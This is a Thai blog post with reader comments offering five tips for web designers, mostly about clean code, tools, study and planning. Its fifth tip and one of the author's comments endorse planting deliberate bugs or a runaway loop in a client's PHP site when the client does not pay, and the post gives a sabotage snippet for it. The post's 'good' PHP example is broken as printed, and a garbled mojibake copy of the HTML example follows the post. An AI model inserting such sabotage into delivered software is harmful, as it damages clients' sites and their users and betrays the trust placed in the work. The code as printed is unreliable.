[Webdesign ETC] 5 ข้อสำหรับการเป็นเว็บดีไซน์เนอร์

Thanut Panityothai

เว็บดีไซน์เนอร์ที่มีคุณภาพ ในหัวข้อนี้จะอธิบายเกี่ยวกับการเป็นเว็บดีไซน์เนอร์ที่ทำงานแล้วมีความผิดพลาดน้อยและมีความรอบคอบในการทำงานสูง โดยผมได้แจกแจง 5 ข้อสำหรับการเป็นเว็บดีไซน์เนอร์ ไว้ให้ผู้อ่านได้ทำความเข้าใจได้ง่ายขึ้นไว้แล้ว ผู้อ่านสามารถนำตัวอย่างที่อยู่ภายใน 5 ข้อนี้ไปใช้ได้โดยไม่ต้องได้รับอนุญาติจากผู้เขียน แต่ขอความกรุณาเอาไปใช้ในทางที่ถูกต้องด้วยครับ

มาเริ่มกันเลยดีกว่า กับ 5 ข้อสำหรับการเป็นเว็บดีไซน์เนอร์ ว่ามีอะไรกันบ้าง?


1.ทำงานให้ดี

อันนี้ใกล้ตัวกับทุกคนมาก ข้อแรกคือคนที่ทำงานด้านดีไซน์ไม่เป็นมักจะใช้โค๊ดที่สิ้นเปลืองเนื้อที่(หมายถึงขนาดไฟล์ก็ใหญ่เพิ่มไปด้วย) ข้อที่สองคือทำงานโดยไม่สนใจความผิดพลาดของโค๊ด(แบบว่า กุทำแบบนี้มีปัญหาไรฟ่ะ!) และอันดับสุดท้ายคือเลือกใช้โค๊ดไม่เป็น(มือใหม่มักจะเป็นกันแทบทั้งหมด) ซึ่งผมได้ยกตัวอย่างให้ท่านสังเกตไว้ด้านล่าง

ตัวอย่างที่ไม่ดี

<font color="red"><font
size="2"><b>โปรดเลือกอายุ</font></b></font>
<select name="age">
<option value="0">0</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>



<option value="97">97</option>
<option value="98">98</option>
<option value="99">99</option>
<option value="100">100</option>
</select>

ตัวอย่างที่ดี

<font color="red"
size="2"><strong>โปรดเลือกอายุ</strong></font>
<select name="age">
<?php
for ($i=0;$i<=100;$i++) {
echo "t<option value="{$i}">{$i}</option>rn";
}
?>
</select>

ซึ่งผลออกมาก็มีความเหมือนกันทุกประการ เพียงแต่เรียงลำดับ ใช้โค๊ดให้ถูกต้อง

2.เลือกโปรแกรมให้ถูก

เว็บดีไซน์เนอร์มักมีปัญหาเรื่องการเลือกใช้โปรแกรมและการเรียนรู้โปรแกรมที่ถูกต้อง ประเด็นไม่ได้อยู่ที่ตัวโปรแกรม แต่อยู่ที่ความถนัดของเว็บดีไซน์เนอร์ว่าคุณถนัดโปรแกรมอะไร เลือกใช้โปรแกรมอะไร ซึ่งบางโปรแกรมถ้าเว็บดีไซน์เนอร์เลือกไม่ดี อาจเกิดบัคขึ้นได้ หรืออาจเกิดปัญหาด้านการใช้งานไม่สะดวก เช่น การเซฟไฟล์ซึ่งมีการเซฟแบบ ASCII กับ UTF-8 ซึ่งคุณก็ต้องพิจารณาความแตกต่างระหว่างการเซฟ 2 แบบนี้ด้วย(ลองเปิด Notepad แล้วเซฟไฟล์ดู จะมีให้เลือกด้านล่างว่าจะเซฟเป็นแบบไหน) หรืออาจเป็นการเลือกชนิดไฟล์ของภาพ ซึ่งส่วนใหญ่มักจะใช้ JPG GIF และ PNG เป็นหลัก

อย่าใช้ความถนัดโปรแกรมแค่ 1 อย่าง พยายามเรียนรู้โปรแกรมอื่นๆไว้เพื่อคุณจะได้มีความหลากหลายในการดีไซน์ หรือเพิ่มความยืดหยุ่นให้กับทักษะของตน เช่น ถ้าคุณถนัด Photoshop แล้ว ลองหัดโปรแกรมอื่นๆไว้ด้วย เช่น Firework, Namo Web Canvas, Inkscape เป็นต้นฯ

3.มีความรู้ด้านดีไซน์เนอร์

เรียกว่าสำคัญที่สุดเลย คุณจะต้องรู้เรื่องเกี่ยวกับทุกด้านในการทำเว็บไซน์หรือกราฟฟิกดีไซน์เนอร์ด้วย เช่น คุณจะต้องตอบได้ว่า JPG คืออะไร, เป็นไฟล์แบบไหน, มีคุณสมบัติอย่างไร, ต่างกับ GIF และ PNG อย่างไร หรือคุณจะต้องรู้ว่า HTML ย่อมาจากอะไร, tag ใน HTML คืออะไร, <pre> ใว้ใช้ทำอะไร เป็นต้นฯ

ง่ายๆคือคุณต้องหมั่นศึกษาเกี่ยวกับเว็บดีไซน์และกราฟฟิกดีไซน์ตามช่องทางต่างๆ เดี๋ยวนี้คุณไม่จำเป็นต้องซื้อหนังสือมานั่งอ่านที่บ้านอีกแล้ว ในอินเตอร์เน็ทมีการสนับสนุนผู้สนใจศึกษาด้านเว็บดีไซน์เป็นร้อยๆเว็บไซท์ รวมไปถึงกราฟฟิกดีไซน์เนอร์ซึ่งจะมีผู้เชี่ยวชาญด้านกราฟฟิกมาตอบปัญหาตามกระทู้เว็บบอร์ดต่างๆอีกด้วย (ผมจะอ้างอิงเว็บไซท์ที่มีการสอนให้ไว้ท้ายบทความนะครับ)

4.วางแผนการทำงาน

ถ้าคุณจำเป็นต้องทำงานที่มีการสร้างเว็บเพจหลายๆหน้า หรือเขียนระบบ PHP ออกมาขนาดใหญ่ ประเด็นนี้จะสำคัญ คุณจะต้องมีกระดาษและปากกา ในการวาดรูปตารางหรือวาดมายน์แมพ(Mind Map)ขึ้นมาและเริ่มวางแผน เรียงลำดับ จัดความสำคัญ และเริ่มลงมือทำตามแผนที่คุณเขียนไว้ ถ้าคุณได้วางแผนไว้ดี ผลงานของคุณก็จะออกมาดีตามด้วย แต่ผมเชื่อว่ายังไงก็ต้องมีข้อผิดพลาดอยู่บ้างอย่างแน่นอน พยายามค่อยๆแก้ไปเรื่อยๆจนกว่าผลงานของคุณจะไร้ที่ติ!

ถ้าคุณไม่รู้ว่าจะเริ่มวางแผนยังไง ลองคิดดูว่าส่วนไหนของเว็บไซท์หรือ PHP ที่คุณต้องเขียนและสำคัญที่สุด เช่น อาจเป็นไฟล์หน้าแรก (index.htm / index.php) หรืออาจเป็นการดีไซน์หน้าเว็บก็จัดลำดับ 4 ขั้นตอน (head / menu / content / footer) เป็นต้นฯ แล้วค่อยๆเริ่มขยายความไปเรื่อยๆ จนคุณคิดว่าคุณได้วางแผนงานของคุณเสร็จเรียบร้อยแล้ว!

5.วางยาหลอก

ดูเหมือนว่าวิธีนี้จะชั่วนิดหน่อย(หรืออาจจะมาก?) แต่เป็นวิธีที่ดีมากๆครับ เวลาคุณทำงานพวกดีไซน์แล้วคุณโดนเจ้านายงานหลอกหรือโดนโกง อย่างน้อยคุณก็ยังใช้ทริกส์นี้ได้ครับ ยกตัวอย่างง่ายๆเช่น คุณสร้างเว็บไซท์ PHP ขึ้นมาสมบูรณ์ แล้วส่งงานให้เจ้านายงาน แล้วเขาไม่จ่ายเงินคุณค่าทำ คุณก็วางยาโดยการอาจใส่โค๊ดบัคใน PHP ที่คุณทำ หรือจงใจเขียนโค๊ดที่ทำให้ PHP นั้นไม่ทำงาน แล้วสั่งให้มันทำงานปั่นป่วนภายในเว็บไซท์ที่ได้อัพโหลดไว้

ยกตัวอย่าง Code PHP ที่ไว้วางยา โดยภายในไฟล์ config.php นั้นต้อมีค่า $buy ไว้ อาจเป็นค่า null ก็ได้ (หมายถึงถูกเซตไว้อยู่ดี)

<?php
include('config.php'); /* เรียกไฟล์ที่มีค่า $buy เก็บไว้เวลามันไม่จ่ายเงิน / if (isset($buy)) { / ถ้า $buy ถูกเซ็ตไว้ / for ($i=0;$i<=1000000000;$i++) { / สั่ง Loop สัก 1 พันล้านครั้งให้มันทวงเงิน / if ($i == 0) { echo "จ่ายเงินสิโว้ย!!<br>"; } else { echo "ไม่จ่าย โค๊ดนี้ก็ยังอยู่นะโว้ย!!<br>"; / ให้มันสลับคำพูดไปมาเรื่อยๆจนมันครบ 1 พันล้านครั้ง */
}
}
}
?>

การเป็นเว็บดีไซน์เนอร์ที่ดีนั้น ไม่จำเป็นต้องพึ่งพาทั้ง 5 ข้อนี้ก็ได้ เพราะยังมีอีกหลายวิธีที่สามารถทำให้เราเป็นเว็บดีไซน์เนอร์ที่ดีได้ อีกอย่างควรพึงระลึกความถูกต้องเข้าไว้ ชีวิตในการทำงานด้านเว็บดีไซน์เนอร์ของคุณก็จะรุ่งเรืองเองครับ และข้อที่สำคัญ เชื่อมั่นในตัวเองและผลงานของตัวเองไว้ ถ้าใจคิดว่างานของตนยังไม่ดีพอ ก็เริ่มลงมือพยายามแก้ไขงานของตนให้พึงพอใจอย่างที่ใจคิดไว้ และข้อที่สำคัญที่สุดคือ อย่ากลัวที่จะเรียนรู้สิ่งใหม่ๆครับ


LuviKunG

PS : https://w3schools.com/ เว็บสอนเกี่ยวกับการทำเว็บไซท์ครับ มีครบทุกภาษา เช่น HTML, HTML5, XHTML, CSS, PHP, ASP, JavaScript, MySQL และอีกหลายอย่าง ถ้าสนใจศึกษาลองทนอ่านภาษาอังกฤษดูนะครับ เว็บนี้สอนเข้าใจง่ายสุดแล้วครับ

<font color="red"><font size="2"><b>â»Ã´àÅ×Í¡ÍÒÂØ</font></b></font> <select name="age"> <option value="0">0</option> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> ... ... ... <option value="97">97</option> <option value="98">98</option> <option value="99">99</option> <option value="100">100</option> </select>

12 Responses

  1. เนื้อหาดีครับ แต่ตัวอย่างก้ำกึ่ง ระหว่าง design กับ programming นะครับ

    ขอแชร์บ้างนะครับ
    -interaction ระหว่าง ผู้ว่าจ้างกับ ผู้รับจ้างครับ ถ้าเข้าใจไม่ตรงกัน การทำงานจะลำบาก ดังนั้นควรจะมีการติดตามงานอยู่สม่ำเสมอ ถ้าไม่เข้าใจในส่วนไหนต้องคุยกันให้รู้เรื่องก่อนจะทำงาน
    -ที่สำคัญ เบิกเงินเป็นช่วงๆ เพื่อป้องกันปัญหา อาจจะแบ่งเป็น 3 หรือ 4 ช่วง ซึ่งยังเป็นการ update progress ของงานไปในตัวด้วยครับ
    ผมน่ะโดนเบี้ยวมาแล้ว ว่าจะใส่ไวรัสลงไป แต่เชื่อผมเถอะ มันไม่ดีหรอกนะ ไม่ควรทำนะครับ

      1. ผมก็ไม่เคยวางยาครับ ถือว่าสะเดาะเคราะห์ไปละกัน
        แต่เวลาผมรับงานก็มีมัดจำอยู่แล้วครับ ถือว่าได้ครึ่งนึงก็ยังดี

  2. ลูวี่เขียนดีอีกแล้ว !!

    เห็นด้วยกับคุณ gd_ab นะครับ ที่ว่าเนื้อหาอยู่ระหว่าง Design กับ Code คนอ่านที่ไม่รู้ PHP อาจจะแอบงงได้

    สารภาพว่าไอแบบข้อ 1 นี่ผมพยายามใช้ HTML เพียว ๆ นะ เพราะว่าเซิร์ฟเวอร์ไม่ต้องประมวลผล แค่แสดงออกมาเฉย ๆ ก็ได้แล้ว (แต่ไม่ได้ Copy-paste แล้วแก้เลขตอนเขียน ใช้วิธีเขียนสคริปต์ gen HTML เอาน่ะแหละ 55)

    รออ่านบทความต่อไปครับ ^^

  3. โดนหลายข้อเลยแหะ

    แต่ข้อ 5 ได้ใจจริงๆ ฮ่าๆ

    ขอบคุณสำหรับบทความดีๆครับ

  4. จากโพสข้างบนทั้งหมด

    ที่ให้วางยา ไม่ใช่สะใจครับ แต่เป็นการป้องกันสิทธิ์ของเรา เพราะเราเป็นผู้ถือครองผลงานครับ ถ้าเขาไม่จ่ายเงิน เรามีสิทธิ์ที่จะทำ เพราะถือว่าผลงานนั้นยังเป็นของเราอยู่ จนกว่าเจ้านายงานมาจ่ายครับ

    ดังนั้นเราต้องปกป้องสิทธิ์ของเราไว้ก่ิอน ถ้าเขาเอาผลงานเราไปใช้โดยอ้างว่าเขาจ่ายแล้วซึ่งจริงๆยังไม่จ่าย เราก็เสียสิทธิ์มากๆเลยนะครับ อีกอย่างเราวางยาแล้ว เราสามารถที่จะแจ้งความดำเนินคดีได้ด้วยครับ

    จำไว้ว่าอย่าปล่อยให้คนชั่วลอยนวลครับ ถ้าเขาไปทำกับคนอื่น จะมีคนเสียหายอีกไปเรื่อยๆนะครับ

    1. เพิ่มเติมครับ

      เหมือนกับการเล่นหมากรุกเลยนะครับ ถ้าคนเล่นหมากรุกไม่เป็น ก็จะเอาแต่เดินโดยไม่วางแผนในการเชื่อมขาต่อขา และก็จะเอาแต่บุกอย่างเดียว ซึ่งเกมหมากรุกจริงๆคือการ “ตั้งป้องกัน” ครับ เราต้องรู้จักเชื่อมขาต่อขาไปเรื่อยๆเพื่อป้องกันการเสียหมากของเรา และต้องชิงหาช่องว่างอีกฝ่ายให้ทันเพื่อ “รุกฆาต” ไปด้วยครับ

      การทำแบบนี้ก็เหมือนกันครับ ไม่งั้นเราจะแพ้หมากรุกนะครับ
      นักเว็บดีไซน์เนอร์มักจะเสียเซลฟ์เสมอ เพราะถูกโกง แล้วคิดว่าปล่อยๆไป ซึ่งผมไม่สนับสนุนนะครับ คนชั่วเต็มเมืองเราต้องสู้ให้เขาสำนึกผิด ไม่ใช่ปล่อยให้เขาทำผิดต่อไป

      ถ้าคุณคิดว่าการปล่อยให้เขาไปเป็นเรื่องผิด คุณนั่นแหละที่ผิดครับ

      1. น่าคิดครับอันนี้

        อย่างไรก็ตาม การป้องกันงานเว็บดีไซน์ค่อนข้างทำได้ยากนะครับ เพราะเว็บไซต์แสดงมาทางบราวเซอร์ เซฟเก็บไปก็เรียบร้อยแล้ว ต่างกับเว็บโปรแกรมมิ่ง (PHP) ที่สคริปต์รันใน server-side ซึ่งฝั่ง client จะไม่มีทางรู้เลยว่าโค้ดเป็นอย่างไรครับ

  5. ข้อความที่ดี
    น่าเก้บเอาไปคิดคับ

Leave a Reply

Your email address will not be published. Required fields are marked *

Related posts